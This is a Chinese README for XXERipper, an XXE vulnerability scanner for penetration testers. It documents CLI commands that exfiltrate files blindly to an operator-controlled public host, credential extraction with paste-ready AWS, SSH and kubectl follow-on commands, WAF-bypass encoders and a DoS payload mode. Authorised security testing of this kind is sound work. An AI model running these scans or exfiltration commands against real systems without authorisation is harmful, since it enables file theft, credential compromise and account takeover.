黑盒XXE扫描器,通过统计基线、解析器指纹识别和OOB确认检测带内、基于错误和盲注带外注入,并支持SARIF输出。
一款面向安全专业人员的独立黑盒 XML 外部实体(XXE)扫描器。
XXERipper 可检测带内、基于错误和盲注带外 XXE,覆盖 30 多种攻击技术族。它结合了统计基线、差分解析器指纹识别、通过 interactsh-client 进行的带外确认(手动或自动)、基于浏览器的控制台、WAF 绕过编码、端到端利用链检测、凭据提取及可直接粘贴的 shell 片段、CWE 映射的发现结果,以及用于 CI/CD 和报告的 JSON / SARIF / HTML 输出。
XXERipper 是一款自包含的 CLI 和浏览器控制台扫描器,用于检测 XML 外部实体注入,专为渗透测试人员、漏洞赏金猎人和安全研究人员设计,他们需要对这一漏洞类别进行准确、低误报的检测——这类漏洞容易测试得很糟糕,却难以测试得很好。
它刻意保持极简——仅依赖 httpx 以及(用于控制台的)flask,别无其他——并且可端到端审计。每个阶段都可追踪,每个发现结果都带有证据链,每个被跳过的技术都会附带原因报告,每个提取的文件或凭据都会去重存储,并附带可直接粘贴的利用片段。
XXERipper 不会在实体解析原语本身之外对目标进行利用。它判断解析器是否解析外部实体,结果是否可在带内、通过解析器错误或带外观察到,并以置信度评分、CWE 映射以及——当完整链条完成时——一个指明端到端影响的汇总发现结果来报告该判断。
ChainTracker 观察每个发现结果,从 ID + 证据推导链条阶段,并在模板完成时触发汇总发现结果——XXE → IMDS → IAM 凭据 → AWS 账户接管、XXE → SSH 私钥 → 横向移动、XXE → Kubernetes 密钥 → 集群凭据窃取,以及另外十种。aws sts get-caller-identity、aliyun sts GetCallerIdentity、ssh -i …、gcloud auth activate-service-account、kubectl --token=… 和 curl -H 'Authorization: Bearer …'——在适用的情况下使用令牌的真实声明构建。pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
基础安装会引入 `httpx[http2]`(通过 ALPN 启用 HTTP/2 协商)和 `Flask`(供 `--serve` Web 控制台使用)。SOCKS 代理支持是唯一的可选附加项。HTTP/2 是必需功能,而非可选功能——它作为 `httpx[http2]` 存在于主依赖列表中。`xxeripper[http2]` 附加项纯粹是为了照顾用户习惯而提供;安装它等同于安装基础包。
### 发行版软件包```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### 环境要求
- **Python 3.9 至 3.14。**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 客户端。HTTP/2 支持
通过 `httpx` 的 `[http2]` extra 引入,该 extra 会一并带来
`h2` 依赖。扫描器在 TLS 握手时通过 ALPN 协商 HTTP/2,
并在服务器不支持时静默回退到 HTTP/1.1。
- **`Flask` ≥ 3.0, < 4.0** — 由 `--serve` Web 控制台使用。它是
主依赖,而非可选依赖;控制台是一等接口,
`xxeripper --serve` 在
[快速开始](#quick-start) 和 [Web 控制台](#web-console) 中有文档说明。
- **可选:** `PySocks` ≥ 1.7.1 用于 SOCKS 代理
(`xxeripper[socks]`)。
- **可选:** `PATH` 中的 `interactsh-client` 用于自动 OOB
确认 (`--oob-auto`)。手动 OOB 模式 (`--oob-domain`) 没有
外部依赖 — 你需要在单独的终端中自行运行 `interactsh-client`。
该 wheel 只包含一个文件,`xxeripper.py`。没有包
目录,没有编译扩展,安装时也没有构建步骤。
CLI 入口点声明为 `xxeripper = "xxeripper:main"`,因此
`pip install xxeripper` 会将 `xxeripper` 可执行文件放入你的 `PATH`。
### 可选 extras
| Extra | 引入 | 何时安装 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | 你通过 SOCKS5 代理进行扫描时,包括通过 `socks5h://` 使用 Tor |
| `xxeripper[http2]` | *(无新增内容)* | 从不需要 — 基础安装已包含 `httpx[http2]`。仅为用户习惯提供 |
没有 `[webui]` extra — Flask 是主依赖,且
控制台在任何基础安装上开箱即用。
---
## 快速开始```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
扫描器负责基线捕获、解析器指纹识别、载荷生成、执行、评分、链式汇总、凭据提取和报告。盲确认可以以双终端工作流(手动模式,默认)或全自动子进程驱动工作流(--oob-auto)的形式提供。
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## 命令行参考
### 目标与输出
| 选项 | 描述 |
|---|---|
| `url`(位置参数) | 要扫描的单个 URL |
| `-u, --urls FILE` | 包含 URL 的文件,每行一个 |
| `-r, --request FILE` | Burp 格式的原始 HTTP 请求 |
| `-o, --output FILE` | 结果输出文件 |
| `--format {json,sarif,both}` | 输出格式。默认:`json` |
| `--report-html PATH` | 扫描后写入自包含的 HTML 报告 |
| `--fail-on {critical,high,medium,low,never}` | 当存在等于或高于此严重级别的发现时,以退出码 `2` 退出。默认:`never` |
| `--debug` | 详细诊断输出 |
### 带外
| 选项 | 描述 |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **手动模式。** Interactsh-client 会话域名。扫描器在此域名下构建 payload,并在目标摘要中打印每个子域名。它不会轮询——请观察你的 `interactsh-client` 终端。与 `--oob-auto` 互斥 |
| `--oob-auto` | **自动模式。** 将 `interactsh-client` 作为子进程启动,从其 JSON 输出中提取会话域名,并在进程内关联回调。需要在 `PATH` 中有 `interactsh-client`。与 `--oob-domain` 互斥 |
| `--oob-timeout SECONDS` | 每次轮询的 OOB 等待预算。仅在与 `--oob-auto` 一起使用时有效;与 `--oob-domain` 组合使用是参数错误,因为手动模式从不等待。默认:`8.0` |
### 盲注外带
| 选项 | 描述 |
|---|---|
| `--oob-listen HOST:PORT` | 绑定一个内置 HTTP 服务器,用于提供 DTD payload。需要 `--oob-public-url`。使用 `0.0.0.0:PORT` 绑定所有接口 |
| `--oob-public-url URL` | 内置 DTD 服务器的公共 URL 前缀(例如 `http://198.51.100.7:8888`)。与 `--oob-listen` 一起使用时必需 |
| `--oob-dtd-dir PATH` | `--oob-listen` 的替代方案:扫描器将 DTD 文件写入的目录。从你自己的 Web 服务器提供这些文件。需要 `--oob-dtd-url-prefix` |
| `--oob-dtd-url-prefix URL` | 映射到 `--oob-dtd-dir` 的公共 URL 前缀(例如 `http://198.51.100.7:8000/dtds`) |
这两种模式在实践中互斥:当目标可以访问扫描器的地址时使用 `--oob-listen`,当你控制面向公众的 Web 服务器时使用 `--oob-dtd-dir`。手动 OOB 模式(`--oob-domain`)不支持外带——扫描器在手动模式下从不读取 interactsh 的输出,因此外带的内容必须从操作员的终端读取。
### Web 控制台
| 选项 | 描述 |
|---|---|
| `--serve` | 启动基于浏览器的控制台,而不是运行 CLI 扫描 |
| `--host ADDRESS` | 控制台的绑定地址。默认:`127.0.0.1`。启动横幅会警告不要绑定到非回环地址 |
| `--port PORT` | 控制台的绑定端口。默认:`8080` |
### 指纹识别与文件定位
| 选项 | 描述 |
|---|---|
| `--no-fingerprint` | 跳过解析器指纹识别阶段。能力门控被禁用;所有阶段无条件运行 |
| `--no-fingerprint-cache` | 禁用磁盘上的指纹缓存;强制进行全新探测 |
| `--full-file-scan` | 遍历完整的 Linux + Windows 文件目标列表(约 58 个路径),而不是优先子集(约 21 个路径) |
### Cookie 与 payload
| 选项 | 描述 |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | 内联 cookie 或 Netscape jar / `key=value` 文件 |
| `--no-cookie-merge` | 跳过 `Set-Cookie` 合并 |
| `--pre-auth-request FILE` | 在扫描前重放一次 Burp 格式的请求。响应中的 `Set-Cookie` 头会被合并到扫描器的 jar 中。对于多步认证可重复使用 |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | 自定义 payload(内联、文件、目录) |
### 攻击模式
| 选项 | 描述 |
|---|---|
| `--timing` | 启用基于时序的盲注检测 |
| `--unsafe` | 启用 DoS payload(Billion Laughs) |
| `--svg` | 强制 SVG 上传以及 multipart/DOCX/Office-XSLT 阶段 |
| `--saml` | 在 URL 看起来不像 SAML 形式的端点上强制进行 SAML 预签名阶段 |
### WAF 绕过
| 选项 | 描述 |
|---|---|
| `--bypass-waf [ENCODERS]` | 在核心阶段*之后*,通过选定的编码器重新发送整个 payload 目录。传递 `all`(或不传值)以使用所有编码器,或传递逗号分隔的子集。有效名称:`utf16be`、`utf16le`、`utf16decl`、`utf16nobom`、`utf32be`、`utf32le`、`ebcdic`、`ucs4_2143`、`utf8bom`、`public`、`public_charref`、`b64_uri`、`whitespace_pad`、`doctype_closure`、`pe_stager` |
| `--bypass-waf-include-custom` | 将扫描范围扩展到用户提供的 payload。仅在与 `--bypass-waf` 一起使用时有效。引用 `{CALLBACK}` 或 `{DOMAIN}` 的自定义 payload 会被跳过 |
### 网络与稳定性
| 选项 | 描述 |
|---|---|
| `--proxy URL` | `http://`、`https://`、`socks5://` 或 `socks5h://` |
| `--threads N` | 并发目标数。默认:20 |
| `--rate R` | 每个目标每秒的最大请求数。默认:无限制 |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | 默认:5.0 / 15.0 |
| `--budget SECONDS` | 墙钟扫描时间限制。默认:3600 |
| `--verify-tls` | 重新启用证书验证 |
### 自定义 payload 占位符
`{FILE}`、`{CALLBACK}`、`{DOMAIN}`、`{URL}`、`{HOST}` —— 在调度时替换为当前文件目标、唯一回调子域名、会话域名、目标 URL 和目标主机名。
---
## Web 控制台
控制台是一个基于浏览器的工作台,用于运行和检查扫描,通过 `--serve` 从同一二进制文件提供服务。```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
控制台默认绑定到回环地址,且没有身份验证。通过 --host 重新绑定会打印显式警告;如果需要远程访问,请在其前面放置一个带身份验证的反向代理。
一个三窗格工作台:
exfiltrated 块。按 ⌘K / Ctrl+K 可在命令、目标和发现之间进行模糊搜索。发现会在面板中以彩色药丸形式显示其严重性。
从浏览器中完全访问每个 CLI 标志:URL 或 Burp 请求、OOB 模式(手动域或自动)、盲外带部分,其中包含两个互斥选项(WebUI 托管的 DTD 服务器加公共 URL 字段,或 DTD 目录加用于外部提供的 URL 前缀)、代理、cookie、速率、预算、超时、线程、自定义载荷、载荷文件、预认证请求,以及扫描选项的复选框网格。WAF 绕过部分将所有十五个编码器作为单独的复选框公开,外加一个“全部切换”按钮;每当抽屉关闭时,编码器网格和包含自定义复选框都会重置为关闭状态,因此绕过不会在扫描之间静默延续。
在抽屉中勾选 自动 OOB 模式 会在服务器进程的生命周期内生成一个 interactsh-client。它会在第一个自动 OOB 作业时惰性生成,并在之后复用。多个并发作业共享会话域,但维护独立的令牌集,因此回调仍能按目标正确归属。传入的回调会在到达时打印到服务器的终端。
除了 CLI 侧的 DTD 托管选项外,WebUI 还可以从其自身的 Flask 路由提供 DTD。在抽屉中勾选 从此 WebUI 提供 DTD,提供 WebUI 可访问的公共 URL,扫描器将在运行控制台的同一 Flask 进程上于 /dtd/<token>.dtd 注册 DTD。无需第二个终端,无需 python -m http.server,无需单独的目录。
当目标可以访问 WebUI 所绑定的地址时,此方法有效。将控制台绑定到 0.0.0.0 并带有公共 URL 前缀,WebUI 就成为一个完全自包含的外带服务器。当目标是远程的而 WebUI 不是时,请改用 CLI 的 --oob-dtd-dir 模式:扫描器将 DTD 文件写入一个目录,你从 nginx 或 Apache 提供该目录,WebUI 通过同一扫描进程读回结果。
每个已完成的作业在工具栏中都有三个下载按钮:
--format json 逐字节相同。--format sarif 逐字节相同。Content-Disposition: attachment)。Content-Disposition: inline)。同一文件,两种行为,两个按钮。
正在运行的作业可以从控制台取消。取消是协作式的:作业的 ScanContext 被发出信号,每个阶段在每次载荷发送前都会检查它。等待并发槽位的作业可以在它开始之前就被取消。
XXERipper 是一个单文件编排器,带有一小组可组合的组件。没有插件系统,没有配置 DSL,除了磁盘上的指纹缓存之外没有外部状态。``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### 组件
| 组件 | 作用 |
|---|---|
| `build_session` | 构建一个 `httpx.Client`,支持 HTTP/2 协商、连接池、可选代理以及按请求注入头部 |
| `CookieManager` | 合并来自内联字符串、Netscape jar、`key=value` 文件以及 Burp 头部的 cookie。可选地从每个响应中吸收 `Set-Cookie` |
| `CustomPayloadLoader` | 从内联字符串、文件(`---` 分隔符或 `<?xml` 边界)以及目录中加载、拆分并规范化用户 payload |
| `OOBClient` | 生成关联子域、跟踪待处理 token、分发观测结果、将回调与实时 `InteractshManager` 关联。在手动和自动模式下行为一致 |
| `InteractshManager` | 启动并读取 `interactsh-client -json -v`,提取会话域,暴露线程安全的回调列表 |
| `DTDServer` | 内置 HTTP 服务器,用于盲外带 DTD payload。由 `--oob-listen` 绑定。按需提供 `<token>.dtd` |
| `FileDTDWriter` | 将 DTD 文件写入操作员对外提供服务的目录。与 `--oob-dtd-url-prefix` 配合使用 |
| `WebUIDTDServer` | 支撑 WebUI 托管的 DTD 路由。在进程级字典中注册 DTD,并返回 `/dtd/<token>.dtd` 下的 URL |
| `OOBExfilExtractor` | 解析 interactsh 回调对象,从 HTTP 请求路径/查询和 DNS 子域标签中提取外带数据 |
| `ParserFingerprint` | 发送配对的测试/对照探针,将错误文本与 11 个签名家族匹配,填充 `capabilities` 字典 |
| `StatisticalBaseline` | 采集 7 个良性样本;计算中位长度、耗时、状态、响应体哈希、中位香农熵、窗口化熵、IQR、p95 |
| `AccuracyEngine` | 根据基线对候选响应评分,应用否决和权重,分类严重性 |
| `XXEPayloadGenerator` | 纯函数,为每个技术家族返回 payload 字符串和字节 |
| `XXEDetector` | 编排器:构建头部、运行各阶段、调用准确度引擎、记录发现、驱动 loot 和链子系统 |
| `ChainTracker` | 记录从发现 ID 和证据派生的链阶段;当模板完成时触发汇总发现 |
| `LootStore` | 线程安全、去重的提取文件和机密存储库。默认不持久化到磁盘 |
| `CredentialExtractor` | 基于正则提取 AWS IAM JSON 和 INI、阿里云 RAM、SSH 私钥、GCP 服务账号、OAuth 访问令牌、Kubernetes 服务账号令牌以及通用 bearer,每个都附带可直接粘贴的 shell 片段 |
| `FileContentExtractor` | 从响应体中按类型提取原始文件内容(`/etc/passwd`、`/etc/shadow`、SSH 密钥、`.env`、`web.config`、`win.ini`、`system.ini`、`boot.ini`、`/proc` 文件),并带有通用结构回退 |
| `ScanContext` | 墙钟截止时间和协作式取消;每个阶段在每次发送前都会检查它 |
| `RateLimiter` | 对每个目标强制执行请求之间的最小间隔;独立于 `--threads` |
### 扫描工作流
1. **预检。** 构建 cookie jar。重放预认证请求(如果有)并合并其 `Set-Cookie` 头部。加载自定义 payload。设置 `ScanContext` 截止时间。
2. **基线采集。** 发送七个良性 `POST` 请求。计算中位长度、耗时、状态码、响应体哈希、熵、IQR 和 p95。
3. **指纹识别。** 对目标运行九个能力探针。将探针的错误文本与解析器签名匹配。结果缓存到磁盘(除非使用 `--no-fingerprint-cache`)。
4. **核心阶段。** 带内文件读取、JSON 转 XML 切换、内容类型矩阵、方法变化、查询参数注入、SSRF、云元数据、RCE 包装器、基于错误。
5. **依赖 OOB 的阶段。** 仅 DNS、外部 DTD、参数实体 OOB、CDATA 绕过、XInclude 变体、XSLT/XSD 获取器、`xml-stylesheet` PI、multipart、DOCX、表单编码。
6. **绕过和替代接收点。** 编码绕过、XInclude、SVG 上传、SAML/SOAP 信封、SAML 预签名。
7. **可选阶段。** 基于时间的盲注(`--timing`)、DoS(`--unsafe`)。
8. **Office 文档和 YAML 阶段。** DOCX/XLSX 部件中的 `xml-stylesheet` PI,以及 PyYAML / SnakeYAML 反序列化探针。
9. **自定义 payload。** 每个用户 payload 都会针对每个文件目标进行测试。
10. **WAF 绕过(可选)。** 如果设置了 `--bypass-waf`,整个 payload 目录会通过每个选定的编码器重新发送。在核心阶段*之后*运行,以便在编码扫描之前先发现直接命中。
11. **链汇总。** `ChainTracker.emit_rollup_findings()` 遍历已完成的模板,并为每个完成项发出一个汇总发现。
12. **报告。** 结果序列化为 JSON、SARIF 和/或自包含 HTML。
每个阶段都在 `_run_phase` 内运行,它会捕获任何异常,在 `--debug` 下记录回溯,并继续到下一阶段。崩溃前发出的发现不会丢失。
---
## 指纹识别方法
指纹阶段回答两个问题:**正在运行哪个 XML 栈**,以及**它暴露了哪些实体解析能力**。两者都驱动阶段选择——一个完全拒绝 DOCTYPE 的目标不需要对其运行本地 DTD 扫描。
### 能力探针
九个配对探针,每个都有一个测试 payload 和一个对照 payload:
| 能力 | 测试 | 成功条件(测试通过,对照不通过) |
|---|---|---|
| `dtd_allowed` | 带有元素声明的良性 DOCTYPE | `200`,标记字符串存在 |
| `dtd_entity_syntax_accepted` | 带有实体声明的 DOCTYPE(未使用) | `200`,标记存在 |
| `dtd_parsed_but_not_resolved` | 声明并引用了实体的 DOCTYPE | `200`,原始 `&x;` 可见(解析器未展开它) |
| `internal_entity` | 内部实体已展开 | `200`,标记存在,`&x;` 不存在 |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`,输出看起来像主机名,无标记,无原始实体 |
| `parameter_entity` | 内部参数实体分阶段器 | `200`,`PE_MARKER` 存在,`&inner;` 不存在 |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`,或存在 `Connection refused` / `Failed to load` / `IO error` |
对照是带有良性响应体的相同请求。只有当测试的成功谓词通过**且**对照的不通过时,能力才会被标记为 `True`。这正是使指纹成为差分而非模式匹配的原因——一个总是返回 `200 OK` 的目标无法错误地报告“DTD 允许”。
### 签名匹配
来自探针的响应体(以及任何 `5xx` 响应体)累积到错误文本缓冲区中。该缓冲区与十一个签名家族匹配:
| 家族 | 代表性字符串 |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`、`xmlParseEntityRef`、`Failed to load external entity`、`Premature end of data in tag` |
| `xerces` | `org.apache.xerces`、`com.sun.org.apache.xerces`、`SAXParseException`、`was referenced, but not declared`、`cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`、`System.Xml.XmlReader`、`An error occurred while parsing EntityName`、`DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`、`DocumentBuilder`、`JAXP00010001`、`AccessExternalDTD`、`disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`、`IS_SUPPORTING_EXTERNAL_ENTITIES`、`woodstox`、`com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`、`xml.parsers.expat.ExpatError`、`undefined entity`、`not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`、`SimpleXMLElement::__construct():`、`DOMException:` |
| `ruby` | `REXML::ParseException`、`Nokogiri::XML::SyntaxError`、`The entity expansion has been blocked` |
| `node` | `ExpatError`、`xml2js`、`libxmljs`、`fast-xml-parser`、`Unexpected close tag` |
| `perl` | `XML::LibXML`、`XML::Parser`、`XML::Twig`、`Couldn't parse` |
| `go` | `encoding/xml`、`XML syntax error on line`、`xml: cannot unmarshal` |
命中次数最多的家族获胜。`libxml2` 家族被故意设为最大——lxml 的异常类、底层 C 函数名以及 libxml2 的人类可读诊断都计入,因此使用 lxml 的目标可以自信地与使用 Python 标准库 `etree` 的目标区分开来(后者是 expat,匹配 `python_etree` 家族)。
### 磁盘缓存
指纹结果缓存在 `~/.cache/xxeripper/fingerprints.json`,以目标 URL 为键。缓存条目存储获胜的解析器名称、完整的能力字典以及时间戳。对同一 URL 的重复扫描完全跳过探针阶段。
除非目标的 XML 栈发生变化,否则缓存在各次运行之间保持稳定。在 CI 中,将 `HOME` 指向持久化缓存目录,以在每次运行时节省探针请求。删除该文件或传递 `--no-fingerprint-cache` 以使其失效。
### 能力门控
两个阶段消费指纹结果:
- **带内文件读取** — 如果指纹成功且报告在 `internal_entity`、`external_file`、`external_dtd`、`parameter_entity`、`dtd_allowed` 中均无实体解析能力,则跳过。
- **基于错误的本地 DTD 扫描** — 相同的门控。畸形实体子技术无论如何都会运行,因为它在不需要本地 DTD 的栈(Xerces、.NET)上也能成功。
门控仅在指纹*成功*时触发(即至少一个能力为 `True` 且存在获胜的解析器家族)。返回全 `False` 的指纹——当目标根本不解析 XML 时会发生——被视为“未知”,阶段无条件运行。这避免了配置错误的指纹抑制真实发现的失败模式。
传递 `--no-fingerprint` 以完全禁用该阶段和门控。
---
## 检测方法
检测管道被故意分层。每一层都是一个否决或一个权重,并且每一层都有其设计用来防止的特定失败模式。
### 第 1 层 — 统计基线
在任何攻击 payload 之前发送七个良性 `POST` 请求。从这些样本中:
- **中位响应体长度** — 用于长度增量评分。
- **中位耗时**和 **IQR** — 用于时间异常评分。
- **众数状态码** — 用于状态偏移评分。
- **最常见响应体哈希** — 用于无变化否决。
- **整个响应体的中位香农熵** — 用作下限健全性检查。
- **256 字节窗口上的中位窗口化熵** — 用于熵异常评分。
- **所有样本响应体的并集** — 用于基线锚定的解析器错误检查。
基线统计是锚点。每个后续评分决策都将候选响应与此基线比较,而不是与固定阈值比较。
### 第 2 层 — 否决
否决在评分前拒绝明显的噪声。两个是硬性的,一个是软性的。
**反射否决(硬性,−100)。** 如果响应体包含 payload 的 40 字符子串(在 URL 解码和空白规范化之后),则 payload 被逐字回显而未进行实体解析。这是朴素扫描器中假阳性最常见的单一来源——每个回显其输入的“测试 XML 解析器”端点否则都会看起来存在漏洞。
**软反射惩罚(−30)。** 如果检测到反射,但响应*也*携带强信号(文件指纹、关联的 OOB 回调、链完整性或高置信度解析器错误),则硬否决降级为 −30 惩罚。这处理了真实文件读取嵌入在同时恰好回显部分请求的页面中的情况。
**无变化否决(硬性,−50)。** 如果响应体与基线最常见的响应体哈希逐字节相同,则 payload 没有改变任何东西。`strong_signal` 将其降级为正常分数而不否决。
**规范化基线匹配(硬性,−75)。** 即使哈希不同,响应在剥离空白、十六进制块、长数字、CSRF token 和会话 ID 后可能在结构上相同。如果是这样,它就是基线噪声。相同的 `strong_signal` 门控。
**熵异常(仅向上)。** 仅在 `median_length >= 256` 时触发。整个响应的熵被周围的页面装饰所主导,会错过小的嵌入高熵区域——大型错误页面中的文件读取结果。窗口化扫描(256 字节窗口,128 字节步长,前 16 KiB)能捕获这些。从高于基线 0.5 bits/byte 时的 +5 扩展到高于基线 4.0 bits/byte 时的 +20。
### 第 3 层 — 正信号
每个幸存的候选都根据基线评分:
| 信号 | 权重 | 基线锚点 |
|---|---|---|
| 文件内容指纹 | +40,每个额外指标 +5 | 指标不得出现在基线响应体中 |
| 链完整性(实体端到端解析,而不仅仅是声明) | +25 | 结构性——响应解析为内容,而非标记 |
| 解析器错误(高 / 中 / 低) | +20 / +15 / +5 | 错误字符串不得出现在基线响应体中 |
| 时间异常确认 | +20 | 增量 ≥1.5s,比率 ≥2.5× 中位数,且增量 ≥4× IQR 或增量 ≥2× 观测抖动 |
| 窗口化熵异常 | +5 到 +20 | 仅向上,按 bits/byte 增量缩放 |
| 关联 OOB 回调 | +50 | 回调子域中的 token 与待处理 token 匹配 |
| 未关联 OOB 回调 | +15 | 回调到达但 token 不匹配 |
| 长度增量(≥20%) | +10 | 相对于中位长度 |
| 状态偏移 | +5 | 相对于众数状态 |
文件指纹要求**至少两个**指标字符串匹配,且响应不得看起来像标记。这正是防止在文档片段中提及 `root:x:0:0:` 的页面触发 `/etc/passwd` 检测器的原因。
### 第 4 层 — 分类
| 分数 | 强制信号 | 独立家族 | 结果 |
|---|---|---|---|
| ≥70 | 是 | ≥2 | **已确认** — CRITICAL |
| 45–69 | 是 | 任意 | **潜在** — HIGH |
| 25–44 | 是 | 任意 | **潜在** — MEDIUM |
| <25 | 是 | 任意 | **理论** — LOW *(已抑制)* |
| 任意 | 否 | 任意 | **理论** — INFO *(已抑制)* |
**强制信号**仅限于三个:`file_type`(文件内容指纹匹配)、`oob_correlated`(加密关联的 OOB 回调到达)和 `chain_integrity`(实体端到端解析)。解析器错误和时间异常对分数有贡献,但不能单独确认发现——解析器错误说明 payload 到达了解析器,而不是实体已解析;时间增量说明目标耗时更长,而不是发生了网络获取。
**独立家族**计数不同的证据*类型*:`file_type`、`oob_correlated`、`chain_integrity`、`parser_error`、`response_elapsed`。双家族要求意味着即使在分数 ≥70 时,单个强指纹也不能单独提升为 CRITICAL。它需要第二个独立信号——特定于 XXE 响应的解析器错误,或时间异常,或链完整性。
### 第 5 层 — 扫描过程中的信任构建
每个阶段看到的都是比上一个更自信的目标图景。指纹首先运行并门控文件读取阶段。文件读取阶段产生 loot,为链阶段播种。链阶段完成模板,产生汇总。汇总本身被视为发现,并出现在每种输出格式中。
结果是一个扫描器,它将“干净”视为需要验证而非假设的状态,并在每个阶段报告覆盖情况,以便操作员能够区分“目标不易受攻击”和“目标从未被测试”。
### 实验室中的假阳性诱饵
捆绑的实验室附带十七个安全端点,专门设计用来触发过度报告的扫描器。五个基线诱饵:
- `/xml/safe` — 在禁用实体的情况下解析。正确的扫描器报告 `[OK]`。
- `/xml/noise` — 每个请求返回随机响应体。基线规范化能捕获它。
- `/xml/stripped` — 解析 XML 但先剥离 ENTITY 声明。将“解析器运行了”视为发现的扫描器会在这里失败。
- `/xml/silent` — 解析但在解析前剥离 DOCTYPE。没有实体残留。假阴性诱饵。
- `/xml/safe-metadata` — 在 HTML 内返回 AWS 形状的字符串。文件指纹需要两个指标加上非标记才能触发——这里的响应是标记。
